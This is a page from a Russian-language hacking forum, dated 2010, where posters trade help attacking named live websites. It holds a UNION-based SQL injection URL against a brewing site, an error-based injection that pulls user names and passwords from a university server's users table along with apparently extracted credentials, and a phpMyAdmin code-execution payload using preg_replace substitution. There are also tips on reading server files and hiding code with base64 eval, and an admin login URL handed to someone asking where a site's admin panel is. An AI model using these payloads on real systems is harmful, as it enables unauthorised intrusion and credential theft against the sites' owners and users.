 |
|
18.06.2010, 13:56
|
|
Познающий
Регистрация: 16.04.2008
Сообщений: 88
С нами:
9509918
Репутация:
30
|
|
про /scripts/setup.php
Сообщение от Ctacok
Да причём сплойт, ты на саму багу посмотри, как ты закроешь открытую ковычку?
я так и не понял, что ты имел в виду.
если ты про код, который берется с ftp, то никаких там проблем с кавычками нет, сейчас протестил:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]
[/COLOR][/COLOR]
=>
1
'x'
/pma/scripts/setup.php
кстати, если бы "проблемы" с кавычками были бы, то их легко можно было бы решить при помощи, например, eval(base64_decode(blalba))) ]
кста,
вариант с кодом на ftp не работает при allow_url_fopen = Off |
|
|
18.06.2010, 14:01
|
|
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
С нами:
8885780
Репутация:
672
|
|
Сообщение от DrakonHaSh
про /scripts/setup.php
вариант с кодом на ftp не работает при allow_url_fopen = Off
но насколько помню по дефолту ulr_fopen=On
|
|
|
|
18.06.2010, 16:20
|
|
Новичок
Регистрация: 10.08.2009
Сообщений: 16
С нами:
8816848
Репутация:
1
|
|
помогите найти столбцы, брут не помог
Version: 4.0.26-nt
Код:
http://www.brew-monkey.com/brewschool/hop.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--
|
|
|
|
18.06.2010, 16:23
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
С нами:
10585560
Репутация:
1550
|
|
Сообщение от manerus
помогите найти столбцы, брут не помог
Version: 4.0.26-nt
Код:
http://www.brew-monkey.com/brewschool/hop.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--
и что ты ожидаешь? что у кого то есть паранормальный брут который прям угадает столбцы?сам делай словарь и бруть по нему...
попробуй прочитать файлы на сервере, c:/boot.ini
|
|
|
|
18.06.2010, 16:23
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами:
9649706
Репутация:
3338
|
|
Сообщение от manerus
помогите найти столбцы, брут не помог
Version: 4.0.26-nt
Код:
http://www.brew-monkey.com/brewschool/hop.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--
попробуй в эту сторону глянуть, у них там этот форум:
http://forum.snitz.com/
бесплатный, скачай и посмотри таблицы/колонки
|
|
|
|
18.06.2010, 17:16
|
|
Познающий
Регистрация: 16.04.2008
Сообщений: 88
С нами:
9509918
Репутация:
30
|
|
Сообщение от m0Hze
Я не вникал в тему, но разве нельзя использовать {}?
Что-то вроде:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]
[/COLOR][/COLOR]
Конечно, если я правильно, и речь идет о pma code exec. У меня спокойно срабатывал такой вариант, ведь там помоему используется preg_replace, второй аргумент которого находится в двойных кавычках, что дает нам право на подстановку иполняемых данных. Опять же, если я правильно въехал.
//upd. Все верно, кавычки там идут лесом, вполне срабатывает такой запрос:
Код:
/phpmyadmin/server_databases.php?pos=0&dbstats=0&sort_by={${die(phpinfo())}}&sort_order=desc&token=1957
а можно рабочий пример где это потестить можно ?
или хотя бы версию pma и mysql
бо у себя пробовал на localhost, phpMyAdmin-2.10.2, 5.1.40-community - не фига не выходит
ps:
здесь: /threadnav46016-340-10.html
и здесь: /threadnav50669-1-40-phpMyAdmin.html все прочел
|
|
|
|
18.06.2010, 20:11
|
|
Постоянный
Регистрация: 15.03.2008
Сообщений: 441
С нами:
9555536
Репутация:
95
|
|
http://www.tullamorechamber.com/
хелп, где тут алминка?
|
|
|
|
18.06.2010, 20:24
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами:
9649706
Репутация:
3338
|
|
http://tullamorechamber.com/Adm/MyLogin.php?Page=/Adm/
|
|
|
|
18.06.2010, 23:27
|
|
Участник форума
Регистрация: 19.08.2009
Сообщений: 115
С нами:
8803961
Репутация:
8
|
|
Не могу попасть в админку.
http://alvand.basu.ac.ir/~flora/family.php?id=29+and+(select*from(select+count(*)f rom(select+1+union+select+2+union+select+3)x+group +by+concat(mid((select+concat_ws(0x3a,Id,
user_name,
password)+from+users+limit+0,1),1,64),floor(rand(0 )*2)))z)+--+
Id,
user_name,
password
http://alvand.basu.ac.ir/login.php
aa:ss
a:a
|
|
|
|
19.06.2010, 04:51
|
|
Познающий
Регистрация: 04.11.2007
Сообщений: 51
С нами:
9746190
Репутация:
6
|
|
есть доступ к админке каторая правит странички.
добавляю
Но выводит почему-то как html :
2
почему такая шляпа?
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
